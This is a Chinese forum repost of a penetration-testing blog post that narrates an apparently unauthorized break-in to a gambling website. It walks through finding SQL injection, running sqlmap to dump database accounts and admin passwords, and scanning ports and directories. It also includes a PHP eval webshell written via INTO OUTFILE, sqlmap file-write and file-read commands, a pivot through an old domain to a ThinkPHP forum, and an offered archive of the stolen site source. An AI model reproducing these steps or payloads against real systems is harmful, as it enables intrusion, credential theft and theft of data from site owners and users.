搜索

[18018] 2021-05-31_【渗透实战系列】｜11-赌博站人人得而诛之

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-05-31_【渗透实战系列】｜11-赌博站人人得而诛之 【 渗 透 实 战 系 列 】 ｜ 1 1   -   赌 博 站 人 人 得 而 诛 之 n e w l i f e s   H a c k i n g 黑 白 红   2 0 2 1 - 0 5 - 3 1 涉 及 知 识 点 ： 偶 遇 一 棋 牌 网 站 1 、 简 单 的 抓 包 分 析 一 下 1 、 b p 抓 包 找 注 入 点 2 、 s q l m a p 使 用 3 、 端 口 扫 描 ， 寻 找 后 台 4 、 目 录 扫 描 ， 寻 找 可 注 入 页 面 5 、 注 入 获 得 数 据 库 r o o t 权 限 6 、 s q l m a p 写 一 句 话 木 马 7 、 s q l m a p 读 取 文 件 8 、 注 入 获 取 管 理 员 账 号 、 密 码 9 、 域 名 解 析 1 0 、 t h i n k p h p 写 马
2 、 用 户 名 后 边 加 单 引 号 直 接 报 错 了 ， 闭 合 之 后 又 正 常 了 ， 稳 稳 地 s q l 注 入 一 枚 。 3 、 通 过 测 试 没 有 发 现 任 何 安 全 设 备 ， 直 接 上 s q l m a p 。 4 、 过 程 就 不 啰 嗦 了 ， 直 接 得 到 下 边 数 据 5 、 通 过 一 波 信 息 收 集 ， 当 前 用 户 权 限 很 低 ， 有 用 的 信 息 少 得 可 怜 6 、 对 目 标 端 口 进 行 扫 描 , 发 现 端 口 开 了 挺 多 c u r r e n t - u s e r :     d e v e l o p e r @ % s e l e c t   @ @ B A S E D I R :   ' / u s r / ' s e l e c t   U S E R ( ) :   ' d e v e l o p e r @ 1 2 1 . x . x . x ' s e l e c t   D A T A B A S E ( ) :   ' e d c ' s e l e c t   S Y S T E M _ U S E R ( ) :   ' d e v e l o p e r @ 1 2 1 . x . x . x ' s e l e c t   @ @ C H A R A C T E R _ S E T S _ D I R :   ' / u s r / s h a r e / m y s q l / c h a r s e t s / ' s e l e c t   @ @ C H A R A C T E R _ S E T _ C L I E N T :   ' u t f 8 ' s e l e c t   @ @ D A T A D I R :   ' / v a r / l i b / m y s q l / ' s e l e c t   @ @ C H A R A C T E R _ S E T _ S E R V E R :   ' l a t i n 1 '
7 、 打 开 8 0 端 口 没 有 任 何 页 面 8 8 8   端 口     是 a p a c h e 默 认 首 页     得 到 绝 对 路 径   / v a r / w w w / h t m l / 9 0 9 0   端 口   是 赌 博 站 管 理 登 录 地 址 9 0 9 1   端 口   是 赌 博 站 会 员 登 录 地 址
8 、 经 过 测 试 ， 这 个 两 个 页 面 没 有 可 利 用 的 漏 洞 # # #   突 破 点 9 、 通 过 对 目 录 进 行 扫 描 发 现 一 个 报 错 页 面 ， 得 到 一 个 注 入 点 还 得 到 一 个 i n f o . p h p
1 0 、 拿 到 数 据 库 r o o t 权 限 d b _ t e s t     当 前 数 据 库 [ 1 9 : 5 4 : 4 8 ]   [ I N F O ]   r e s u m e d :   ' r o o t ' @ ' l o c a l h o s t ' [ 1 9 : 5 4 : 4 8 ]   [ I N F O ]   r e s u m e d :   ' d e v e l o p e r ' @ ' l o c a l h o s t ' [ 1 9 : 5 4 : 4 8 ]   [ I N F O ]   r e s u m e d :   ' r o o t ' @ ' 1 2 7 . 0 . 0 . 1 ' [ 1 9 : 5 4 : 4 8 ]   [ I N F O ]   r e s u m e d :   ' s y n c o p y ' @ ' 2 2 2 . x x x . x x x . x x x ' [ 1 9 : 5 4 : 4 8 ]   [ I N F O ]   r e s u m e d :   ' m l h ' @ ' l o c a l h o s t ' [ 1 9 : 5 4 : 4 8 ]   [ I N F O ]   r e s u m e d :   ' d e v e l o p e r ' @ ' % ' [ 1 9 : 5 4 : 4 8 ]   [ I N F O ]   r e s u m e d :   ' m l h ' @ ' % ' [ 1 9 : 5 4 : 4 8 ]   [ I N F O ]   r e s u m e d :   ' e d c ' @ ' % ' [ 1 9 : 5 4 : 4 8 ]   [ I N F O ]   r e s u m e d :   ' 6 h c _ n a v ' @ ' % '
# # #   尝 试 写 入 s h e l l 1 1 、 通 过 s q l 语 句 写 入 s h e l l 却 没 有 成 功 ， 只 有 在 支 持 堆 叠 查 询 时 ， 才 能 执 行 非 查 询 S Q L 语 句 1 2 、 换 一 种 方 式 写 入 1 3 、 完 全 写 不 进 去 ， 发 现 是 没 有 写 入 权 限 ， 只 有 读 取 权 限 1 4 、 可 以 正 常 读 取 , 尝 试 读 取 配 置 文 件 , 至 此 走 上 了 一 条 错 误 之 路 s q l m a p   - - s q l - s h e l l s e l e c t   " < ? p h p   e v a l ( $ _ P O S T [ ' x ' ] ) ; ? > "   i n t o   o u t f i l e   " / v a r / w w w / h t m l / 2 5 u _ f t / 1 . p h p " - - f i l e - w r i t e   " / l o c a l h o s t / s h e l l . p h p "   - - f i l e - d e s t   " / v a r / w w w / h t m l / 2 5 u _ f t / t e s t . p h p " - - f i l e - r e a d   " / v a r / w w w / h t m l / 2 5 u _ f t / i n f o . p h p "
（ 1 ） 读 取 了 几 个 配 置 文 件 ， 并 没 有 什 么 思 路 （ 2 ） 回 头 去 注 入 管 理 员 的 密 码 ， 尝 试 从 后 台 获 取 s h e l l - D   " 1 0 f e n f t "   - T   " g _ u s e r "   - C   " g _ n a m e , g _ p a s s w o r d "   - - d u m p
（ 3 ） 成 功 登 录 后 台 （ 4 ） 后 台 简 陋 的 一 批 ， 没 有 上 传 功 能         # # #   g e t s h e l l （ 5 ） 该 有 的 条 件 都 有 了 就 是 拿 不 到 s h e l l ， 很 难 受 。
（ 6 ） 在 各 种 渠 道 查 询 这 个 i p , 突 然 发 现 以 前 有 域 名 解 析 到 这 里 （ 7 ） 太 好 了 ， 域 名 还 可 以 正 常 访 问 ， 是 一 个 论 坛 （ 8 ） 竟 然 是 t h i n k p h p , 而 且 还 爆 出 了 绝 对 路 径 （ 9 ） 重 复 之 前 的 写 入 操 作 ， 一 下 就 成 功 了 ， 哈 哈 哈 哈 # # #   打 包 源 码
（ 1 0 ） 直 接 链 接 s h e l l （ 1 1 ） 权 限 不 高 ， 但 是 丝 毫 不 影 响 我 打 包 源 码 # # #   总 结 发 现 还 要 很 多 同 类 型 的 站 点 源 码 放 在 下 边 了 2 5 u _ n e w . r a r   ( 1 0 . 4 8 1   M B )   下 载 附 件 转 载 于 转 载 于 h t t p s : / / x z . a l i y u n . c o m / t / 9 5 6 7 推 荐 阅 读 ： 推 荐 阅 读 ： 渗 透 实 战 系 列 渗 透 实 战 系 列
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理